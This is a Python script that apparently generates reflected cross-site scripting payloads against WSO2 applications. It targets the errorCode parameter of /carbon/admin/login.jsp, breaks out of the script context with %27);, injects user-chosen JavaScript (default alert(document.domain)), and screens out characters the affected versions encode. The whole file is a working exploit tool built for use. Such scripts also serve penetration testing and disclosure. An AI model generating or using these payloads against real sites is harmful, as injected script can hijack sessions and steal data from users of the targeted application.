import argparse import logging import urllib.parse # CONSTANTS VULNERABLE_ENDPOINT = "/carbon/admin/login.jsp?loginStatus=false&errorCode=" DEFAULT_PAYLOAD = "alert(document.domain)" # Logging config logging.basicConfig(level=logging.INFO, format="") log = logging.getLogger() def generate_payload(url, custom_payload=False): """ url: string of target custom_payload: optional, user-inputted JavaScript to include in generated payload. """ log.info(f"Generating payload for {url}...") if custom_payload: log.info( f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//" ) else: log.info( f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//" ) def strip_url_path(url): """ url: string of target Returns URL with scheme/netloc only (see https://docs.python.org/3/library/urllib.parse.html) """ parsed_url = urllib.parse.urlparse(url) if not parsed_url[0] and not parsed_url[1]: log.info( f"[-] Unable to parse {url}. Ensure an RFC1808-compliant 'scheme://netloc' is provided" ) return url else: parsed_base_url = f"{parsed_url.scheme}://{parsed_url.netloc}" return parsed_base_url def check_payload(payload): """ payload: User-inputted JavaScript string Checks if payload contains unsupported characters (those which are HTML entity encoded by affected WSO2 versions), returning False if so. """ encoded_characters = ['"', "<", ">"] if any(character in payload for character in encoded_characters): log.info( f"Unsupported character(s) (\", <, >) found in payload. JavaScript won't fire with these included; try a different payload." ) return False else: return urllib.parse.quote(payload) if __name__ == "__main__": # Parse command line parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter ) required_arguments = parser.add_argument_group("required arguments") required_arguments.add_argument( "-t", "--target", help="Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)", required="True", action="store", ) parser.add_argument( "-p", "--payload", help='Use custom JavaScript for generated payload (Some characters ("<>) are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))', action="store", default=DEFAULT_PAYLOAD, ) args = parser.parse_args() # Clean user target input args.target = strip_url_path(args.target.lower()) # Check payload for incompatible characters args.payload = check_payload(args.payload) if args.payload: generate_payload(args.target, args.payload)